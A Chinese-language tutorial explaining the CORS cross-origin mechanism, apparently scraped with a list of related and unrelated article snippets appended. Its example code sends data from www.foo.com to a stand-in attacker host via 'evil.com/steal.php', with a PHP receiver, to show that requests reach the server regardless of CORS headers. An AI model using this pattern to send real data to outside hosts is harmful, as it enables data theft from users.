跨域（一）——CORS机制
Ajax是严格遵守同源策略的，既不能从另一个域读取数据，也不能发送数据到另一个域。但是，W3C的新标准中CORS（Cross Origin Resource Sharing）推进浏览器支持这样的跨域方案。
这个方案过程如下 ：
www.foo.com(来源域)的Ajax向www.evil.com(目标域)发起了请求，浏览器自动带上Origin头，如下：
Origin:http://www.foo.com
然后目标域要判断这个Origin值，如果是自己预期的，那么就返回：
Access-Control-Allow-Origin:http://www.foo.com
表示同意跨域。如果Access-Control-Allow-Origin之后是*通配符，则表示任意域都可以往目标跨。如果目标域不这样做，浏览器获得响应后没发现Access-Control-Allow-Origin头的存在，就会报类似下面这样的权限警告：
<script>
function createCORSRequest(method,url){
var xhr=new XMLHttpRequest();
if("withCredentials" in xhr){
xhr.open(method,url,true);
}else if(typeof XDomainRequest!="undefined"){
xhr=new XDomainRequest();//IE浏览器
xhr.open(method,url);
}else{
xhr=null;
}
return xhr;
}
var request=createCORSRequest("get","http://www.evil.com/steal.php?data=222");
if(request){
request.onload=function(){//请求成功后弹出响应内容
alert(request.responseText);
};
request.send();
}
</script>
目标域上有 steal.php的代码如下：
<?php
header("Access-Control-Allow-Origin:http://www.foo.com");
echo $_GET["data"];
?>
跨域往目标域发起请求后，效果如下：
aaarticlea/png;base64,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" alt="" />
但是，其实，如果目标域不设置Access-Control-Allow-Origin:http://www.foo.com，隐私数据也会被偷到，因为实际上数据已经被目标域的steal.php接收到了。CORS的安全策略仅仅在于是否允许客户端获取服务器的返回数据，但并不会阻止客户端发送的请求。也因此，客户端可以使用XMLHttpRequest向任意网站发送跨域请求，拒绝服务。
另外，默认情况下，这样的跨域无法带上目标域的会话（Cookies等），需要设置xhr实例的withCredentials属性为true(IE还不支持)，同时目标域的steal.php必须设置如下：
<?php
header("Access-Control-Allow-Origin:http://www.foo.com");
header("Access-Control-Allow-Credentials:true"); ?>
同时还要注意，如果设置了Access-Control-Allow-Credentials为true，那么Access-Control-Allow-Origin就不能设置为*通配符。这也是浏览器为了安全进行的考虑。
跨域（一）——CORS机制的更多相关文章
- Django-缓存机制、跨域请求(CORS)、ContentType组件
Django缓存机制: 在settings中间件里面设置: 三个粒度: 1 全站缓存 用中间件: MIDDLEWARE = [ # 'django.middleware.cache.UpdateCac ...
- AJAX POST&跨域 解决方案 - CORS
一晃又到新年了,于是开始着手好好整理下自己的文档,顺便把一些自认为有意义的放在博客上,记录成点的点滴. 跨域是我在日常面试中经常会问到的问题,这词在前端界出现的频率不低,主要原因还是 ...
- AJAX POST&跨域 解决方案 - CORS（转载）
跨域是我在日常面试中经常会问到的问题,这词在前端界出现的频率不低,主要原因还是由于安全限制(同源策略, 即JavaScript或Cookie只能访问同域下的内容),因为我们在日常的项目开发时会不可避免 ...
- JSONP跨域和CORS跨域
什么是跨域? 跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制! 同源策略 同源策略:域名.协议.端口均相同. 浏览器执行JavaScript脚本时,会检查这 ...
- （转） AJAX POST&跨域 解决方案 - CORS
跨域是我在日常面试中经常会问到的问题,这词在前端界出现的频率不低,主要原因还是由于安全限制(同源策略, 即JavaScript或Cookie只能访问同域下的内容),因为我们在日常的项目开发时会不可避免 ...
- WebApi 跨域解决方案 --CORS
跨站HTTP请求(Cross-site HTTP request)是指发起请求的资源所在域不同于请求指向的资源所在域的HTTP请求. 比如说,我在Web网站A(www.a.com)中通过<img ...
- 跨域解决方案 - 跨域资源共享cors
目录 1. cors 介绍 2. 原理 3. cors 解决跨域 4. 自定义HTTP 头部字段解决跨域 5. 代码演示 5. 参考链接 1. cors 介绍 cors 说的是一个机制,其实相当于一个 ...
- VUE SpringCloud 跨域资源共享 CORS 详解
VUE SpringCloud 跨域资源共享 CORS 详解 作者: 张艳涛 日期: 2020年7月28日 本篇文章主要参考:阮一峰的网络日志 » 首页 » 档案 --跨域资源共享 CORS 详解 ...
- 网络编程-跨域资源共享 CORS
目录 1.什么是同源策略? 2.跨域资源共享 CORS 3.预检请求 4.CORS相关字段 5.Golang实现跨域 6.参考资料 1.什么是同源策略? 如果两个 URL 的 protocol.por ...
- 跨域资源共享(CORS)问题解决方案
CORS:Cross-Origin Resource Sharing(跨域资源共享) CORS被浏览器支持的版本情况如下:Chrome 3+.IE 8+.Firefox 3.5+.Opera 12+. ...
随机推荐
- header头参数不能带下划线
header头参数不能带下划线:game_id是错误的
- VMware虚拟机上配置nginx后，本机无法访问问题（转载）
转自:http://www.server110.com/nginx/201407/10794.html 把nginx装在CentOS上,用本机访问虚拟机的时候却出现了不能访问的问题,查了资料以后,原来 ...
- python读写json+字典保存
解决方案 json 模块提供了一种很简单的方式来编码和解码JSON数据. 其中两个主要的函数是 json.dumps()和 json.loads() , 要比其他序列化函数库如pickle的接口少得多 ...
- c#语言---数据类型
整型 值类型 名称 CTS类型 说明 ...
- jmx - first demo
1. pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://ww ...
- vmware workstation14嵌套安装kvm
1.前言 我在2017-11-06使用virtualbox安装了centos,然后嵌套kvm(win7),链接地址如下: https://www.cnblogs.com/tcicy/p/7790956 ...
- RESTframwork之视图view
一 在view.py 中: class AuthorView(APIView): def get(self, request): author_list = Author.objects.all() ...
- restframwork框架
一 APIView: class PublishView(APIView): def get(self,request): publish_list=Publish.objects.all() ret ...
- Vue中 等待DOM或者数据完成 在执行 --this.$nextTick()
虽然 Vue.js 通常鼓励开发人员沿着“数据驱动”的方式思考,避免直接接触 DOM,但是有时我们确实要这么做.比如一个新闻滚动的列表项.如果在这里需要操作dom, 应该是等待 Vue 完成更新 DO ...
- DOM常用的属性和方法
之前一直傻傻分不清DOM和JavaScript究竟有什么区别,随着相关工作时间的增长,开始逐渐区分DOM和JavaScript了,最近,也一直在复习有关DOM方面的知识,<JavaScript ...